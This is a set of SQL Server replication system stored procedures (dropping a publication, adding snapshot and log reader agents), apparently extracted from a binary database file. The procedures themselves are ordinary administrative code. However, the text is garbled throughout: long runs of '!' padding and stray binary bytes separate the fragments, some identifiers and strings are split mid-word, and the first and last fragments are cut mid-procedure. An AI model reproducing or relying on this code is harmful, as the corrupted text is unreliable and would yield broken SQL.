!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<t 	Ϛ*yall articles in the publication
        declare hCarticles CURSOR LOCAL FAST_FORWARD FOR select article from MSarticles where 
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication_id = 
                (select publication_id from dbo.MSpublications where 
                    publisher_id = @publisher_id and
                    publisher_db = @publisher_db and
                    publication = @publication)
        open hCarticles
        fetch hCarticles into @article
        while (@@fetch_status <> -1)
        begin
            exec @retcode = sys.sp_MSdrop_article @publisher, @publisher_db, @publication, @article
            if @retcode != 0 or @@error != 0
            begin
                close hCarticles
                deallocate hCarticles
                goto UNDO
            end
                
            fetch hCarticles into @article
        end
        close hCarticles
        deallocate hCarticles
    end
    --
    -- remove threshold entries for this publication
    --
    delete dbo.MSpublicationthresholds 
        where publication_id = @publication_id
    if @@error <> 0
        goto UNDO
    --
    -- remove entry from dbo.MSpublications
    --
    delete from dbo.MSpublications where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @@error <> 0
    begin
        raiserror (14006, 16, -1)
        goto UNDO
    end

    -- Drop snapshot agent
    exec @retcode = sys.sp_MSdrop_snapshot_agent
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication
    if @@ERROR<> 0 or @retcode <> 0
        goto UNDO

    -- delete cache for this agent
    delete MScached_peer_lsns 
    		where agent_id in (select id
    							from MSdistribution_agents 
    							where publisher_id = @publisher_id
        							and publisher_db = @publisher_db 
        							and publication = @publication)
    if @@ERROR<> 0
        goto UNDO
    
    -- Delete anonymous agents
    delete MSdistribution_agents where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @@ERROR<> 0 or @retcode <> 0
        goto UNDO

delete from dbo.MSmerge_subscriptions
where       publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication_id = @publication_id


	delete dbo.MSmerge_articlehistory
		from dbo.MSmerge_articlehistory arthist join dbo.MSmerge_sessions sess
		on arthist.session_id=sess.session_id
		where sess.agent_id in 
        (select id from dbo.MSmerge_agents where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication)
    IF @@ERROR <> 0 
        GOTO UNDO
        
    delete dbo.MSmerge_history
		from dbo.MSmerge_history hist join dbo.MSmerge_sessions sess
		on hist.session_id=sess.session_id
		where sess.agent_id in 
        (select id from dbo.MSmerge_agents where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication)
    IF @@ERROR <> 0 
        GOTO UNDO
		
	delete dbo.MSrepl_errors
		from dbo.MSrepl_errors errs join dbo.MSmerge_sessions sess
		on errs.session_id=sess.session_id
		where sess.agent_id in 
        (select id from dbo.MSmerge_agents where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication)
    IF @@ERROR <> 0 
        GOTO UNDO
        
    -- delete sessions entries 
    delete dbo.MSmerge_sessions where agent_id in 
        (select id from dbo.MSmerge_agents where
            publisher_id = @publisher_id and
            publisher_db = @publisher_db and
            publication = @publication)
    	    
    delete dbo.MSmerge_agents where
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    if @@ERROR<> 0 or @retcode <> 0
        goto UNDO

    -- Cleanup publication access list table
    delete dbo.MSpublication_access where
        publication_id = @publication_id
    if @@ERROR<> 0 or @retcode <> 0
        goto UNDO

    -- cleanup identity range allocation history information
    delete dbo.MSmerge_identity_range_allocations 
        where publisher_id = @publisher_id and
              publisher_db = @publisher_db and
              publication = @publication
    if @@ERROR<> 0 or @retcode <> 0
        goto UNDO
              
    -- Remove publisher_id, publisher_db pair if no other publication is using it.
    if not exists (select * from msdb.dbo.MSdistpublishers d, master.dbo.sysservers s
	where s.srvid = @publisher_id
	and upper(s.srvname) = upper(d.name) collate database_default
	and upper(d.publisher_type) LIKE 'ORACLE%' )
    and
       not exists (select * from dbo.MSpublications where publisher_id = @publisher_id and
        publisher_db = @publisher_db)
    begin
        declare @publisher_database_id int

        select @publisher_database_id = id from MSpublisher_databases where 
            publisher_id = @publisher_id and 
            publisher_db = @publisher_db

        delete from MSrepl_backup_lsns where 
            publisher_database_id = @publisher_database_id

        delete from MSpublisher_databases where 
            publisher_id = @publisher_id and publisher_db = @publisher_db
        if @@error <> 0
            goto UNDO

        -- Cleaning up MSrepl_originators
        delete MSrepl_originators where
            publisher_database_id = @publisher_database_id
        if @@error <> 0
            goto UNDO
    end
    --
    -- commit all the work
    --
    commit tran
    --
    -- all done
    --
    return 0

UNDO:
    if @@trancount > 0
    begin
        rollback tran MSdrop_publication
        commit tran
    end
    return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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name,
    @publisher_db				sysname,
    @publication				sysname,  
    @publication_type			int = 0,					-- 0 Transactional 1 Snapshot 2 Merge
    @local_job					bit,
    @freqtype					int = 4,					-- 4== Daily
    @freqinterval				int = 1,					-- Every day
    @freqsubtype				int = 4,					-- Sub interval = Minute
    @freqsubinterval			int = 5,					-- Every five minutes */
    @freqrelativeinterval		int = 1, 
    @freqrecurrencefactor		int = 0, 
    @activestartdate			int = 0,					-- 12:00 am - 11:59 pm
    @activeenddate				int = 99991231,				-- No start date    
    @activestarttimeofday		int = 0,         
    @activeendtimeofday			int = 235959,				-- No end time
    @command					nvarchar(4000) = NULL,
    @job_existing				bit = 0,					-- for 6x publisher
    @snapshot_jobid				binary(16) = NULL OUTPUT,
    @publisher_security_mode 	smallint = NULL,
    @publisher_login			sysname = NULL,
    @publisher_password 		nvarchar(524) = NULL,
    @job_login					nvarchar(257) = NULL,
    @job_password				sysname = NULL,
    @publisher_type				sysname = N'MSSQLSERVER',
    @internal					sysname = N'PRE-YUKON'		-- Can be: 'PRE-YUKON', 'YUKON', 'BOTH'
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode					int
    DECLARE @publisher_id				smallint
    DECLARE @loc_publisher_db			sysname
    DECLARE @profile_id					int
    DECLARE @snapshot_type				int
    DECLARE @databasename				sysname
    DECLARE @agent_id					int
    DECLARE @category_name				sysname
    DECLARE @platform_nt				binary
    DECLARE @srvproduct					nvarchar(128)
    DECLARE @datasource					nvarchar(4000)
	DECLARE @snapshot_job_step_uid		uniqueidentifier
	 
    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
    	RAISERROR(21089,16,-1) 
    	RETURN 1
    END
	
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_snapshot_agent', 'distribution')
        return (1)
    end
    
    /*
    ** Initializations
    */
    select @platform_nt = 0x1

    select	@publisher_id = srvid,
			@srvproduct = srvproduct,
			@datasource = datasource
	from	master.dbo.sysservers
	where	UPPER(srvname) = UPPER(@publisher)

    -- Always use integrated security for local connections
    select @command = @command + ' -DistributorSecurityMode 1 '
    
   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END

	IF NOT @publisher_type = N'MSSQLSERVER'
	BEGIN
    	-- in the hetero case, if user specified integrated security 
		-- for the publisher security at sp_adddistpublisher time then
		-- the provided snapshot agent job_login must be the same...
    	IF EXISTS(SELECT * 
    					FROM msdb..MSdistpublishers
    					WHERE distribution_db = DB_NAME()
    						AND name = @publisher
    						AND login != @job_login
    						AND security_mode = 1
    						AND publisher_type = @publisher_type)
    	BEGIN
    		-- The job_login provided must match the publisher login specified when adding the distribution publisher (sp_adddistpublisher).
			RAISERROR(22537, 16, -1)
			RETURN 1
    	END
	END

	-- ONLY ALLOW THIS IN 8.0 or less CASE
	IF @internal = N'PRE-YUKON'
	BEGIN
		-- if @name is not null and @job_existing = 1, the proc is from DMO scripting
		-- check to see if the job is there or not, if not, reset @job_existing
		-- value. This is for the case when the user generate the script at
		-- the publisher but did not re-create repl jobs at the distributor.
		if @local_job = 1 and @job_existing = 1 and @name is not null and 
	       @name <> N''
		begin
			if not exists (select * from msdb.dbo.sysjobs_view 
			where name = @name 
	 		and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
	 		and master_server = 0)
			begin
				set @job_existing = 0
	            set @name = null
			end
		end
	END
	
    BEGIN TRAN
    SAVE TRAN tran_addsnapagent
    
    /* Code for snapshot agent type in MSagent_profiles */
    SELECT @snapshot_type = 1

    -- Get the default profile ID for the snapshot agent type. If a third party publication
    -- no profile is used.
    if exists (select * from dbo.MSpublications where 
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                publication = @publication and
                thirdparty_flag = 1)
    begin
        set @profile_id = 0
    end
    else
    begin
         SELECT @profile_id = profile_id FROM msdb..MSagent_profiles WHERE 
            agent_type = @snapshot_type and
            def_profile = 1
    end

	-- if the publisher sec info was not provided then default
	-- the vals to the values provided durring sp_adddistpublisher...
	-- this is only possible when called by SYSADMIN or 8.0 pub.
	IF @publisher_security_mode is NULL
	BEGIN
		SELECT @publisher_security_mode = security_mode, 
				@publisher_login = login,
				@publisher_password = password
			FROM msdb.dbo.MSdistpublishers 
			WHERE UPPER(name) = UPPER(@publisher) 
				AND distribution_db = db_name()
				AND publisher_type =  @publisher_type 
	END
	ELSE
	BEGIN
		-- if WINDOWS authentication then clear out the login/password
		IF @publisher_security_mode = 1
	    BEGIN
			SELECT @publisher_login = '',
					@publisher_password = newid()
	    END

		-- Encrypt the password before storing
	    EXEC @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
		IF @@ERROR <> 0 OR  @retcode <> 0
	        GOTO UNDO
	END
	
	if not exists (select * from MSsnapshot_agents where
		publisher_id = @publisher_id and
		publisher_db = @publisher_db and
		publication = @publication and
		dynamic_filter_login is NULL and
		dynamic_filter_hostname is NULL)
	begin		
		/* 
		** Insert row
		*/
		INSERT INTO MSsnapshot_agents (name, publisher_id, publisher_db, publication, publication_type,
								local_job, profile_id,
								publisher_security_mode, publisher_login, publisher_password)
			 VALUES ('',@publisher_id, @publisher_db, @publication, @publication_type, 
			 		@local_job, @profile_id,
			 		@publisher_security_mode, @publisher_login, @publisher_password)
		IF @@ERROR <> 0
			GOTO UNDO

		set @agent_id = @@IDENTITY
	end
	else
	begin
		-- also retrieve the currently set	
		select @agent_id = id from MSsnapshot_agents where
			publisher_id = @publisher_id and
			publisher_db = @publisher_db and
			publication = @publication and
			dynamic_filter_login is NULL and
			dynamic_filter_hostname is NULL
		
	end
	
    DECLARE @name_is_generated bit
    SELECT @name_is_generated = 0     
    IF @name IS NULL OR @name = N''
    BEGIN
        SELECT	@name_is_generated = 1
        SELECT	@name = CONVERT(nvarchar(28),@publisher)   + '-' + CONVERT(nvarchar(28),@loc_publisher_db) + '-' + 
                        CONVERT(nvarchar(28),@publication) + '-' + CONVERT(nvarchar, @agent_id)
    END

    -- If the generated name already exists, re-generate the name with a 
    -- guid appended
    IF @name_is_generated = 1
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view 
                    WHERE name = @name 
                      AND UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                      and master_server = 0)
        BEGIN
	        SELECT @name = fn_repluniquename(newid(), @publisher, @loc_publisher_db, @publication, null)
        END       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<n	"	"SX0/m     
    END

    -- Add Perfmon instance
    dbcc addinstance ("SQL Replication Snapshot", @name)

    IF @local_job = 1 and @job_existing = 0
    BEGIN

        DECLARE @nullchar nchar(20)
        SELECT @nullchar = NULL

        set @databasename = db_name()
        -- Get Snapshot category name (assumes category_id = 15)
        select @category_name = name FROM msdb.dbo.syscategories where category_id = 15

        EXECUTE @retcode = dbo.sp_MSadd_repl_job 
            @name = @name, 
            @subsystem = 'Snapshot', 
            @server = @publisher, 
            @databasename = @databasename, 
            @enabled = 1, 
            @freqtype = @freqtype, 
            @freqinterval = @freqinterval, 
            @freqsubtype = @freqsubtype, 
            @freqsubinterval = @freqsubinterval, 
            @freqrelativeinterval = @freqrelativeinterval, 
            @freqrecurrencefactor = @freqrecurrencefactor, 
            @activestartdate = @activestartdate, 
            @activeenddate = @activeenddate, 
            @activestarttimeofday = @activestarttimeofday, 
            @activeendtimeofday = @activeendtimeofday, 
            @nextrundate = 0,
            @nextruntime = 0,
            @runpriority = 0,
            @emailoperatorname = @nullchar,
            @retryattempts = 10, 
            @retrydelay = 1, 
            @command = @command, 
            @loghistcompletionlevel = 0, 
            @emailcompletionlevel = 0, 
            @description = @nullchar,
            @tagadditionalinfo = @nullchar,
            @tagobjectid = 0, 
            @tagobjecttype = 0, 
            @category_name = @category_name,
            @failure_detection = 1,
            @agent_id = @agent_id,
            @job_login = @job_login,
			@job_password = @job_password,
            @job_id = @snapshot_jobid OUTPUT,
			@job_step_uid = @snapshot_job_step_uid OUTPUT
  
       IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO
    END

    if @local_job = 1 and @job_existing = 1 
    begin
		if @snapshot_jobid is null
		begin
			select @snapshot_jobid = sjv.job_id
			from msdb.dbo.sysjobs_view as sjv
				join msdb.dbo.sysjobsteps as sjs
					on sjv.job_id = sjs.job_id
			where sjv.name = @name
				and sjv.master_server = 0
				and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and sjv.category_id = 15
				and sjs.subsystem = N'Snapshot'
				and sjs.database_name = db_name()
			
			if @snapshot_jobid IS NULL
			begin
				-- Message from msdb.dbo.sp_verify_job_identifiers
				RAISERROR(14262, -1, -1, 'Snapshot Job', @name)          
				GOTO UNDO
			end
		end
		else
		begin
			if not exists (select * from msdb.dbo.sysjobs_view 
				where job_id = @snapshot_jobid 
				and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and master_server = 0)
			begin
				-- Message from msdb.dbo.sp_verify_job_identifiers
				RAISERROR(14262, -1, -1, 'Job', @name)          
				GOTO UNDO
			end
		end
    end

	-- retrieve the job step uid
	if @snapshot_jobid is NOT NULL
		and @snapshot_job_step_uid is NULL
	begin
		select @snapshot_job_step_uid = sjs.step_uid
			from msdb.dbo.sysjobs_view as sjv
				join msdb.dbo.sysjobsteps as sjs
					on sjv.job_id = sjs.job_id
			where sjv.job_id = @snapshot_jobid
				and sjv.master_server = 0
				and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and sjv.category_id = 15
				and sjs.subsystem = N'Snapshot'
				and sjs.database_name = db_name()
	end
	
/* Moved up
    -- Get the job id if it already exists
    if @local_job = 1 and @job_existing = 1 
    begin
        select @snapshot_jobid = job_id from msdb.dbo.sysjobs_view 
        where job_id = @snapshot_jobid 
        and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        and master_server = 0
        if @snapshot_jobid IS NULL
        begin
            -- Message from msdb.dbo.sp_verify_job_identifiers
            RAISERROR(14262, -1, -1, 'Job', @name)          
            GOTO UNDO
        end
    end
*/

    -- Generate a job GUID for remote agents. This will be used by the UI to uniquely
    -- identify rows returned by the enums
    if @local_job = 0
    begin
		-- Third party publication will pass in snapshot agent name which is created as
		-- a SQLServerAgent job.
		if @name is not null 
			select @snapshot_jobid = job_id from msdb.dbo.sysjobs_view where
				name = @name
		if @snapshot_jobid is null
			set @snapshot_jobid = newid()
		-- Reset @local_job to 1 so that repl monitor can start the job.
		-- In sp_MSdrop_snapshot_agent, we will not drop the job if the publication 
		-- is from third party.
		else
			set @local_job = 1
    end

	-- Caution: @local job might be changed from the passed in value.
    UPDATE MSsnapshot_agents 
    	SET name = @name,
		    job_id = @snapshot_jobid,
			-- Update the following fields because the row maybe added before this sp call
			-- by sp_MSadd_publication.
			publication_type = @publication_type,
			local_job = @local_job, 
			profile_id = @profile_id,
			job_step_uid = @snapshot_job_step_uid,
			publisher_security_mode = @publisher_security_mode, 
			publisher_login = @publisher_login, 
			publisher_password = @publisher_password
		WHERE id = @agent_id

    IF @@ERROR <> 0
        GOTO UNDO

    COMMIT TRAN tran_addsnapagent

    RETURN(0)

UNDO:
    ROLLBACK TRAN tran_addsnapagent
    COMMIT TRAN
    
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(#	SA'vUCREATE PROCEDURE sys.sp_MSadd_logreader_agent
(
    @name						nvarchar(100) = NULL,
    @publisher					sysname,
    @publisher_db				sysname,
    @publication				sysname, -- Only used by 3rd party publisher
    @local_job					bit,
    @job_existing				bit = 0,
    @job_id						binary(16) = NULL,
    @publisher_security_mode 	smallint = NULL,
    @publisher_login			sysname = NULL,
    @publisher_password 		nvarchar(524) = NULL,
    @job_login					nvarchar(257) = NULL,
    @job_password				sysname = NULL,
    @publisher_type			sysname = N'MSSQLSERVER',
    @internal					sysname = N'PRE-YUKON', -- Can be: 'PRE-YUKON', 'YUKON', 'BOTH'
    @publisher_engine_edition int = NULL
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    DECLARE @retcode            int
                ,@agent_args         nvarchar(255)
                ,@publisher_id       smallint
                ,@loc_publisher_db	sysname
                ,@profile_id         int
                ,@logreader_type     int
                ,@databasename       sysname
                ,@agent_id           int
                ,@category_name      sysname
                ,@platform_nt binary
                ,@srvproduct nvarchar(128)
                ,@datasource nvarchar(4000)	
                ,@job_step_uid		uniqueidentifier

    -- Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN 1
    END
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSadd_logreader_agent', 'distribution')
        return (1)
    end
    
    /*
    ** Initializations
    */
    select @platform_nt = 0x1,
    		@job_step_uid = NULL

    select @publisher_id = srvid, @srvproduct = srvproduct, @datasource = datasource from master.dbo.sysservers where
        UPPER(srvname) = UPPER(@publisher)

	-- ONLY ALLOW THIS IN 8.0 or less CASE
	IF @internal = N'PRE-YUKON'
	BEGIN
		-- if @name is not null and @job_existing = 1, the proc is from DMO scripting
		-- check to see if the job is there are not, if not, reset @job_existing and
		-- @name values. This is for the case when the user generate the script at
		-- the publisher but did not re-create repl jobs at the distributor.
		if @local_job = 1 and @job_existing = 1 and @name is not null and 
	       @name <> N''
		begin
			if not exists (select * from msdb.dbo.sysjobs_view  
				where name = @name 
				and UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and master_server = 0)
			begin
				set @job_existing = 0
				set @name = null
			end
		end
	END
	
   	-- For naming purposes, use @publisher instead of @publisher_db for HREPL
   	-- publishers that don't support publisher db notion
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
    	SELECT @loc_publisher_db = @publisher
    END
    ELSE
    BEGIN
    	SELECT @loc_publisher_db = @publisher_db
    END

	IF NOT @publisher_type = N'MSSQLSERVER'
	BEGIN
		-- in the heter case, if user specified integrated security 
		-- for the publisher security at sp_adddistpublisher time then
		-- the provided logreader agent job_login must be the same...
		IF EXISTS(SELECT * 
						FROM msdb..MSdistpublishers
						WHERE distribution_db = DB_NAME()
							AND name = @publisher
							AND login != @job_login
							AND security_mode = 1
							AND publisher_type = @publisher_type)
		BEGIN
			-- The job_login provided must match the publisher login specified when adding the distribution publisher (sp_adddistpublisher).
			RAISERROR(22537, 16, -1)
			RETURN 1
		END
	END
	
    BEGIN TRAN

    -- If creating locally, try to drop it first
    IF @local_job = 1 and @job_existing = 0
    begin
        EXEC sys.sp_MSdrop_logreader_agent 
            @publisher = @publisher,
            @publisher_db = @publisher_db,
            @publication = @publication  
        IF @@ERROR <> 0
            GOTO UNDO
    end

    /* Code for log reader agent type in MSagent_profiles */
    SELECT @logreader_type = 2

    -- Get the default profile ID for the logreader agent type. If a third party publication
    -- no profile is used.
    if exists (select * from dbo.MSpublications where 
                publisher_id = @publisher_id and
                publisher_db = @publisher_db and
                publication = @publication and
                thirdparty_flag = 1)
    begin
        set @profile_id = 0
    end
    else
    begin
        SELECT @profile_id = profile_id FROM msdb..MSagent_profiles WHERE 
            agent_type = @logreader_type and
            def_profile = 1
    end

	-- if the publisher sec info was not provided then default
	-- the vals to the values provided durring sp_adddistpublisher...
	-- this is only possible when called by SYSADMIN or 8.0 pub.
	IF @publisher_security_mode is NULL
	BEGIN
		select @publisher_security_mode = security_mode, 
				@publisher_login = login,
				@publisher_password = password
			from msdb.dbo.MSdistpublishers 
			where UPPER(name) = UPPER(@publisher) 
				and distribution_db = db_name()
				and publisher_type = @publisher_type
	END
	ELSE
	BEGIN
		-- if WINDOWS authentication then clear out the login/password
		IF @publisher_security_mode = 1
	    BEGIN
			select @publisher_login = '',
					@publisher_password = newid()
	    END

		-- Encrypt the password before storing
	    EXEC @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
		IF @@ERROR <> 0 OR  @retcode <> 0
	        GOTO UNDO
	END

    -- If publisher_id, publisher_db pair is not in MSpublisher_databases then add it.  This will be used
    -- to store a publisher_database_id in the MSrepl_transactions and MSrepl_commands table.
    IF NOT EXISTS (select * 
                        from MSpublisher_databases 
                        where publisher_id = @publisher_id 
                            and publisher_db = @publisher_db)
    BEGIN
        INSERT INTO MSpublisher_databases (publisher_id, publisher_db, publisher_engine_edition) 
                VALUES (@publisher_id, @publisher_db, @publisher_engine_edition)
        IF @@ERROR <> 0
            GOTO UNDO
            
        INSERT INTO MSrepl_backup_lsns (publisher_database_id) VALUES (@@identity)
        IF @@ERROR <> 0
            GOTO UNDO
    END
    
    /* 
    ** Insert row
    */
    INSERT INTO MSlogreader_agents (name, publisher_id, publisher_db, publication, 
                    local_job, profile_id, 
                    publisher_security_mode, publisher_login, publisher_password)
         VALUES ('',@publisher_id, @publisher_db, @publication, 
                    @local_job, @profile_id, 
                    @publisher_security_mode, @publisher_login, @publisher_password)
    IF @@ERROR <> 0
        GOTO UNDO

    set @agent_id = @@IDENTITY
        
    DECLARE @name_is_generated bit
    SELECT @name_is_generated = 0     
    IF @name IS NULL OR @name = N''
    BEGIN
        SELECT @name_is_generated = 1
                ,@name = CONVERT(nvarchar(43),@publisher ) + '-' + CONVERT(nvarchar(43),@loc_publisher_db) + '-' + CONVERT(nvarchar, @@IDENTITY)
    END

    -- If the generated name already exists, re-generate the name with a 
    -- guid appended
    IF @name_is_generated = 1
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view 
                    WHERE name = @name 
                      AND UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                      and master_server = 0)
        BEGIN
            SELECT @name = fn_repluniquename(newid(), @publisher, @loc_publisher_db, null, null)
        END            
    END
    
    -- Add Perfmon instance
    dbcc addinstance ("S!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
$	S`UQL Replication Logreader", @name)

    IF @local_job = 1 and @job_existing = 0
    BEGIN            
        SELECT @agent_args = '-Publisher ' + QUOTENAME(@publisher)

        IF @publisher_type = N'MSSQLSERVER'
        BEGIN
            SELECT @agent_args = @agent_args + ' -PublisherDB ' + QUOTENAME(@publisher_db)
        END

        SELECT @agent_args = @agent_args + ' -Distributor ' + QUOTENAME(@@SERVERNAME)

        -- Always use integrated security for local connections
        select @agent_args = @agent_args + ' -DistributorSecurityMode 1 '
        
        DECLARE @nullchar nchar(20)
        SELECT @nullchar = NULL

        set @databasename = db_name()
        -- Get Logreader category name (assumes category_id = 13)
        select @category_name = name FROM msdb.dbo.syscategories where category_id = 13

        EXECUTE @retcode = dbo.sp_MSadd_repl_job
        @name = @name,
        @subsystem = 'LogReader',
        @server = @publisher,
        @databasename = @databasename,
        @enabled = 1,
        @freqtype = 64,       /* Auto-Start */
        @freqinterval                   = 1,
        @freqsubtype                    = 1,
        @freqsubinterval                = 1,
        @freqrelativeinterval= 1,
        @freqrecurrencefactor   = 1,
        @activestartdate                = 0,
        @activeenddate                  = 0,
        @activestarttimeofday   = 0,
        @activeendtimeofday     = 0,
        @nextrundate                    = 12355,
        @nextruntime                    = 13423,
        @runpriority                    = 0,
        @emailoperatorname              = @nullchar,
        @retryattempts = 10,            
        @retrydelay = 1,    
        @command = @agent_args,
        @loghistcompletionlevel = 0,
        @category_name = @category_name,
        @failure_detection = 1,
        @agent_id = @agent_id,
        @job_login = @job_login,
        @job_password = @job_password,
        @job_id = @job_id OUTPUT,
        @job_step_uid = @job_step_uid OUTPUT
  
       IF @@ERROR <> 0 or @retcode <> 0
            GOTO UNDO
    END

    if @local_job = 1 and @job_existing = 1 
    begin
		if @job_id is null
		begin
			select @job_id = sjv.job_id
			from msdb.dbo.sysjobs_view as sjv
				join msdb.dbo.sysjobsteps as sjs
					on sjv.job_id = sjs.job_id
			where sjv.name = @name
				and sjv.master_server = 0
				and UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
				and sjv.category_id = 13
				and sjs.subsystem = N'LogReader'
				and sjs.database_name = db_name()
			
			if @job_id IS NULL
			begin
				-- Message from msdb.dbo.sp_verify_job_identifiers
				RAISERROR(14262, -1, -1, 'Logreader Job', @name)          
